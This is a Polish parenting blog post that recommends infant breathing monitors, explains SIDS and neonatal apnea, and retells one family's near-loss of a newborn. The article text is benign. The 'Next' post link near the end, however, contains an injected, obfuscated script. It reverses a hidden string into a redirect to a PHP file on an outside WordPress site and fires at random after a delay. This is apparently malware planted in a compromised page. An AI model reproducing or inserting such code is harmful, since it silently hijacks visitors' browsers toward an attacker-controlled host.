Gdybym dziś kompletowała wyprawkę, ta rzecz byłaby najważniejsza!


„Jaki wózek? Ile kocyków, ubrań i pieluch? Kaftaniki czy body? I jakie rozmiary? A co z kosmetykami? Jeszcze wanienka, przewijak … ” Kto ma za sobą kompletowanie wyprawki dla noworodka ten wie, że to poważny projekt. Dodając do tego torbę dla mamy do szpitala i fotelik dla malucha, jest co planować i jest na co wydawać kasę. A co jeśli Wam powiem, że na tle tych wszystkich „niezbędnych” rzeczy, jest coś bardzo ważnego, o czym każdy rodzic powinien pomyśleć w pierwszej kolejności?

Jest to coś, co dla większości z nas wydaje się zbędnym gadżetem, który nigdy się nie przyda. A ponieważ dodatkowo nie jest to rzecz tania, najczęściej rezygnujemy właśnie z niej, na rzecz otulaczy, szumiących misów czy słodkich ubranek. Bardzo dobrze to rozumiem i dokładnie taki był mój tok rozumowania i to dwukrotnie! Ani razu nawet nie rozważałam zakupu monitora oddechu.

To nie jest absolutnie kwestia zaniedbania. To raczej zdroworozsądkowe myślenie a przynajmniej pozytywne nastawienie i wiara w to, że zapewnimy naszemu dziecku najlepszą opiekę na świecie. To również nieuleganie paraliżującemu strachowi o zdrowie i życie tej najważniejszej osoby oraz unikanie czarnych scenariuszy, na czele z zespołem nagłej śmierci łóżeczkowej, zwanej SIDS (sudden infant death syndrome).

Od razu zaznaczę, że nie zawsze da się zapobiec nagłej śmierci łóżeczkowej. Oczywiście niezmiernie istotne są warunki, w których dziecko śpi (materac, pozycja spania, odpowiednia temperatura i ubranie) a nawet tryb życia prowadzony przez mamę jeszcze w ciąży. Bardzo często dotyka ona dzieci przedwcześnie urodzone albo chore i często jeszcze nie zdiagnozowane (np. wady serca, silne zakażenia bakteryjne). Czasami jest to nieszczęśliwy wypadek (ucisk tętnicy kręgowej, uduszenie), ale często za śmierć odpowiedzialny jest bezdech.

U noworodków najczęściej spotykany jest bezdech centralny, który wynika z niedojrzałości układu nerwowego i nieprawidłowego działania ośrodka oddechowego w mózgu. Innymi słowy: mózg nie wysyła impulsu do płuc i oddychanie zostaje zatrzymane. Czasami na kilka do kilkunastu sekund, ale czasami na tak długo, że efektem jest po prostu śmierć. Rodzice wcześniaków opuszczają szpital z zaleceniem kupna monitora oddechu, ale rodzice dzieci zdrowych, donoszonych, zazwyczaj nie zdają sobie sprawy z pewnej losowości występowania bezdechu.

Jestem typowym przykładem rodzica, który o SIDS słyszał nie raz, ale zawsze sądził, że jego dzieciom to się nie przytrafi. Byłam przekonana, że czuwamy i nic nie umyka naszej uwadze. A przecież, dziecko oddycha cichutko i równie niezauważalnie przestaje oddychać … Nie znałam też nikogo z mojego otoczenia, komu przytrafiła się nagła śmierć łóżeczkowa dziecka. Temat dotyczył jakichś dzieci, gdzieś daleko …

I poznałam historię Jessici i jej córeczki, która wydarzyła się kilka dni temu.

Dla mamy i jej pięcioro dzieci to był zwyczajny poranek. Szykowała śniadanie dla starszych, podczas gdy najmłodsza – miesięczna Addelyn spała w swoim łóżeczku. W pewnym momencie, w trakcie robienia kanapek, Jessica poprosiła męża, aby zajrzał do córki. Jak później wyznała, to był taki nagły impuls, bo przecież nie płakała. Po chwili mąż wybiegł z małą z sypialni. Była sina, nie oddychała.

Natychmiast zadzwonili po pogotowie, mąż zaczął sztuczne oddychanie i na szczęście córeczka zaczęła oddychać. Od razu nabrała koloru i otworzyła oczy. W szpitalu lekarze wykonali wszystkie możliwe badania, które po kolei wykluczały choroby i wady genetyczne. Odpowiedź dało dopiero monitorowanie jej snu. Diagnoza była jednoznaczna: bezdech noworodkowy.

Rodzina po tygodniu opuściła szpital z zaleceniem kupna i stosowania monitora oddechu na noc i podczas dziennych drzemek aż do ukończenia przez Addelyn pierwszego roku życia. Lekarze powiedzieli, że poza oczywistymi przyczynami śmierci, to właśnie bezdech często prowadzi do SIDS a w tym przypadku, po śmierci dziecka, niemożliwe jest wykrycie przyczyny nieszczęścia. Jedynie badania monitorujące rytm oddechu dziecka w trakcie snu mogą wykryć problem.

Film Jessici możecie obejrzeć poniżej:

Ostatnie czego chcę, to straszyć przyszłych rodziców. Uważam jednak, że jeśli mamy możliwości i narzędzia, aby chronić nasze dzieci, to warto to robić. Zwłaszcza, że ceny monitorów oddechu (często połączone z funkcją niani elektronicznej) aż takiej fortuny nie kosztują. Można poprosić rodzinę o zrzutkę na jeden konkretny prezent. Gdybym 6 lat temu wiedziała to, co wiem dziś, nie zastanawiałabym się dwa razy!

Poniżej zostawiam Wam linki do ciekawych artykułów. Z nich dowiecie się o przyczynach SIDS, o tym, jak eliminować czynniki zagrożenia i na co zwrócić szczególną uwagę w opiece nad noworodkiem. Przeczytacie także o rodzajach monitorów oddechu a także o bezdechu noworodkowym.

Więcej o SIDS przeczytacie TUTAJ.

Rodzaje monitorów oddechu i ich działanie – więcej TUTAJ.

Jeden z najbardziej polecanych: Babysense 5 Monitor Oddechu, Babysense 5 Monitor Oddechu z nianią eletroniczną lub Babysense 5 z cyfrową nianią elektroniczną.

Bezdech noworodkowy – więcej TUTAJ.

(zdjęcie: flickr.com)

Previous Nasze ferie w Czechach, czyli kronika wypadków rodzinnych!
Next Jeśli tym jest dla Ciebie związek, <script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>to zejdź na ziemię! I dorośnij.

Suggested Posts

Lóżko dla starszaka, czyli KURA po naszemu.

Hello Monday!

Taka ze mnie matka!

Czasami, aby zwyciężyć, trzeba się poddać.

Seriale na Netflix, które trzeba zobaczyć. Nasze TOP 10!

Witajcie zmiany, czekałam na Was!

No Comment

Leave a reply

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *